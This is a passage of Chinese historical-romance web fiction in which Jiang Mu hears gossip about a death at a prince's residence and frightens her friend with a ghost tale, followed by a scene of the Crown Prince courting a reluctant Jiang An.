书院照旧摧残着江慕衰弱的意志,昨日与李玄德的对话已让她没了别的心思,她无所事事地瞟了眼手腕处的朱红,不经想起最初寿宴上不受控的浮现画面和下意识的亲昵,还有...
江慕侧头看向勤奋好学的弟弟,目光垂落至瑰丽的耳饰,周夜承不明所以对上她的视线,眨巴眼睛冲她甜甜一笑。
触碰到璀璨珠饰后像被拔了意识,陷入诡谲的梦魇。
这会是它的影响吗?可又为何会与周夜承产出联系?
张静渟贼兮兮戳戳江慕的胳膊肘,凑上她耳畔,说起八卦。
“慕妹妹,你可听闻二殿下府邸发生的事?”
“什么事?”
江慕涣散瞳孔聚焦,好奇挨上她,一手遮挡性的掩着唇。
“他府上死人了。”
“好像是二殿下几年前捡到的流浪乞儿,
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死在常年脏污的湖水边,府里人说发现的时候那人全身青黑,唇色惨白,眼底充血,死状极其可怖。”
张静渟故意压低声音,神情浮夸,想吓唬江慕,却不想慕妹妹根本不吃这一套。
“哎呦,你不应该是哭唧唧地扑进我怀里,然后说好怕啊渟姐姐,寻求我的安慰,怎么一点反应都没有啊,太没意思了。”
张静渟无趣趴回桌上,百无聊赖地瞅着下巴颏底的“天书”。
“渟姐姐,你知道像你这样随意议论亡魂的人都是什么结果吗?”
身侧人阴恻恻地贴上来,呼吸的热气喷洒在耳廓处,莫名让人脊背发凉。
“死去人会化成镜中鬼怪,只待你入睡后,缓慢攀至你床边,然后露出失去血肉的脸,杂乱的长发遮住没有眼珠的空洞,你若是不慎睁开眼,就弯起诡异的笑,即可将你...拆吃入腹。”
“好妹妹,我错了我错了,你别说了,我今晚怕要睡不着了,死者为大,神佛保佑,阿弥陀佛阿弥陀佛...”
张静渟被吓的竖起鸡皮疙瘩,只能胡言乱语的认错。
“别吃我啊,我可一点都不香糯可口,又硬又柴。”
“这还没完,他还要一点点剥下你的人皮...”
“女侠行行好吧,我胆子小,真不想撞鬼啊。”张静渟双手合十,作求饶状。
江慕好笑地握上张静渟的手,安抚道:“好了好了,我不闹你了,要是没了渟姐姐陪我,日子可要乏味坏了。”
“话说,你可知府邸死的人叫什么?”
“嗯...里头人都称他阿影,我从小道消息那打听,这人真名好像叫...李玄影。”
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靓丽的木芙蓉繁盛绽放于东宫,显露香艳的花蕊,浓郁的香气漫过窗棂,勾缠着室内相依的两人。
准确说,是男子“一厢情愿”地靠着那纤尘不染的奏琴女子。
殷红的木芙蓉自然别上少女耳侧,陈亦盛着爱意的眼眸似要柔化出水般,手掌轻抚江安透白的脸。
“阿语,这花可真衬你。”
江安嘴角小幅度翘了翘,没推拒开男人温热的手。
“这般娇美的木芙蓉最是难采,太子殿下有心了。”
其实她平生最不爱太过艳丽之物,但面对他,江安只得昧着良心。
“不是告诉过你,只有我们两个人的时候,唤我阿亦吗?”
眼前人的脸近在咫尺,陈亦歇止少女弹琴的手,指腹不老实地蹭上江安娇红的唇,目光沉沉似寂静的深潭,他情难自抑又叫了声“阿语”,想拉她一同掉入翻云覆雨的情海。
两人距离不过一寸,江安望着那人徐徐合上的眼,越发相贴的脸,心头剧烈颤动,潜藏的恐慌更胜。
她终究难以接受,伸手挡住试图围剿她的罪魁祸首,偏开头柔声道:“殿下,我还是...”
陈亦却不给她继续说话的机会,撩起眼皮,唇自然啄上她的手心,抓住她的手腕放在自己的脸上,轻轻摩挲。
“还是害羞吗?过不了多久你我就要大婚,你该早些适应的。”